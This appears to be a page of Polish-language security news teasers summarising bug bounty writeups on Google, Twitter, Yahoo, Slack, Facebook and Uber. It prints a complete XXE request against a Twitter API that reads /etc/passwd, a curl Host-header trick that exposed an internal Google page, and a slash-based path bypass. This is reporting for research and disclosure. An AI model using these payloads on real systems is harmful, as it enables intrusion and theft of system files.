W artykule opisany jest błąd CVE-2018-6148, naprawiony w Chrome 67 w wersji z dnia 6 czerwca 2018. Błąd ten pozwalał na dodawanie dowolnych nagłówków zapytania HTTP w zapytaniach cross-domenowych. Oznaczało to, że dowolna strona webowa mogła ustawić treść takich nagłówków jak np. X-CSRF-Token, Referer, User-Agent, Host czy Cookie. Inne strony webowe, z kolei, przyjmują za pewnik, że nikt nie może w przeglądarce sobie sam tych nagłówków ustawiać – co może prowadzić do problemów bezpieczeństwa.
Czytaj dalej »
W tekście opisany jest ciekawy XSS znaleziony w lutym 2018 w aplikacji Google Colaboratory. Pokazane jest nie tylko bezpośrednio, gdzie był ten XSS, ale również jakie zostały poczynione próby, by tego XSS-a znaleźć i jakie po drodze były ślepe zaułki. Ponadto, pokazany jest przykład obejścia Content-Security-Policy z użyciem tzw. script gadgets.
Czytaj dalej »
Przygoda rozpoczęła się od rekonesansu – czyli użyciu narzędzi typu Zoomeye, czy Shodan w celu znalezienia odpowiedniego celu. Niezłym celem okazał się datax.yahoo.com, gdzie po krótkim bruteforce katalogów na webserwerze, udało się zlokalizować API. Finalnie udało się wykorzystać w stosunkowo prosty sposób podatność w SpEL (Spring Expression Language) i po chwili…
Czytaj dalej »
W artykule opisane są trzy błędy typu XSS znalezione w ramach bug bounty firmy Google. Wszystkie błędy były możliwe dzięki wykorzystaniu nowych cech standardu ECMAScript.
Czytaj dalej »
Wiecie ile warta jest taka informacja:
curl -k "https://yaqs.googleplex.com" --resolve "yaqs.googleplex.com:443:172.217.28.180" ? 10 000$ USD – taką bowiem kwotę wypłaciło Google za zgłoszenie buga, który polegał na wysłaniu jednego requestu do serwera 172.217.28.180 z ustawionym nagłówkiem Host: yaqs.googleplex.com – o dziwo, badaczowi wyświetliła się wtedy strona Google z treścią oznaczoną jako Google Confidential. Jak poszukiwać tego…
Czytaj dalej »
Nagroda w wysokości $10 800 została przyznana niedawno w ramach bug bounty Twittera. Jeden z serwerów, a dokładnie jedno z API, było podatne na opisywaną przez nas już dwukrotnie podatność XXE. XML wyglądał jak poniżej, a autor badania do oryginalnego XML-a dołożył tylko oznaczone linijki:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
POST /api/sxmp/1.0 HTTP/1.1 Host: sms-be-vip.twitter.com Connection: close Content-Type: text/xml Content-Length: 481 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <operation type="deliver"> <account username="abc" password="a"/> <deliverRequest referenceId="MYREF102020022"> <operatorId>&file;</operatorId> <sourceAddress type="network">40404</sourceAddress> <destinationAddress type="international">123</destinationAddress> <text encoding="ISO-8859-1">a</text> </deliverRequest> </operation> </code> |
Podatność umożliwiała na czytanie…
Czytaj dalej »
Przez ostatnich kilka lat mogliśmy zaobserwować wiele różnych zastosowań znaku Right-to-Left Override [RTLO / RLO]. Jednym z nich jest wykorzystanie go jako element linku w treści wiadomości e-mail.
Zobaczmy jak powyższą technikę zastosować np. w GMailu, choć pamiętajcie żeby testować to tylko na własne potrzeby.
Czytaj dalej »
Writeup podatności zgłoszonej do Google. Pierwszym problemem okazał się SSRF w domenie toolbox.googleapps.com. Jeśli ktoś jeszcze nie kojarzy tej podatności – mamy jej opis na sekuraku. Później wystarczyło najpierw zbruteforce-ować adres wewnętrznego serwera DNS (sieć 10.x), a następnie już hulaj dusza. Wszystko korzystając z publicznie dostępnego interfejsu widocznego poniżej: –ms
Czytaj dalej »
Pozytywna informacja w świecie bezpieczeństwa IoT – firma Netgear ogłasza program bug bounty z całkiem wysokimi nagrodami: $15 000 kosztuje np. taki błąd: Remote Unauthorized access to administer another NETGEAR customer’s router (via the publicly accessible internet – e.g. not on the same LAN) Są też i mniejsze kwoty – $ 750…
Czytaj dalej »
Banalny błąd zgłoszony do Facebooka w ramach programu bug bounty (wypłacono $5000). W skrócie: zapraszałem kogoś do bycia adminem w mojej grupie, a w linku usuwającym zaproszenie był… podany zarejestrowany w Facebooku e-mail zaproszonego :-) Jak widać, czasem żeby być hackerem, wystarczy umieć uważnie czytać ;-) –ms
Czytaj dalej »
Ciekawy opis przełamania kilku zabezpieczeń w domenie slack.com (w tym możliwość resetu haseł innym użytkownikom). Najpierw prosta sprawa – udało się znaleźć dostęp do zabezpieczonego URL-a /server-status: wystarczyło użyć dodatkowych czterech slashy: http://…slack.com/////server-status Ciekawe, ale niewiele dało. Dalej autor odkrycia namierzył pewne URL-e w panelu administracyjnym (dostępnego dla pracowników Slacka) i…
Czytaj dalej »
Dla nielubiących marn^H^H^H^H spędzania czasu przez TV – dwie ciekawe listy programów bug bounty na początek: hackerone i bugcrowd. –ms
Czytaj dalej »
Apple słynął raczej z niemiłego traktowania ludzi zgłaszających im błędy bezpieczeństwa. Po wielu latach poszedł jednak po rozum do głowy i na koniec roku odpala program bug bounty: Apple today announced that it would be starting up a bug bounty program in the fall. The program will reward security researchers…
Czytaj dalej »
Z bezpieczeństwem OVH bywało różnie… dziwi więc, że dopiero teraz uruchamiają program bug bounty. Nagrody oscylują w granicach 50 – 10 000 EUR, a sam na szybko mam już do zgłoszenia jednego buga ;-) Poczytajcie o scope i do dzieła. –ms
Czytaj dalej »
Tak mniej więcej zatytułowali swoje badanie Portugalczycy, którzy w ramach oficjalnego programu bug bounty Ubera zgarnęli $18 000. Spośród 6 zgłoszonych błędów najciekawsze wydają się chyba te: Możliwość uzyskania e-maila użytkownika znając jego numer telefonu. Krok pośredni to poznanie tzw. UUID użytkownika (co przydaje się również w kolejnym bugu z poznaniem…
Czytaj dalej »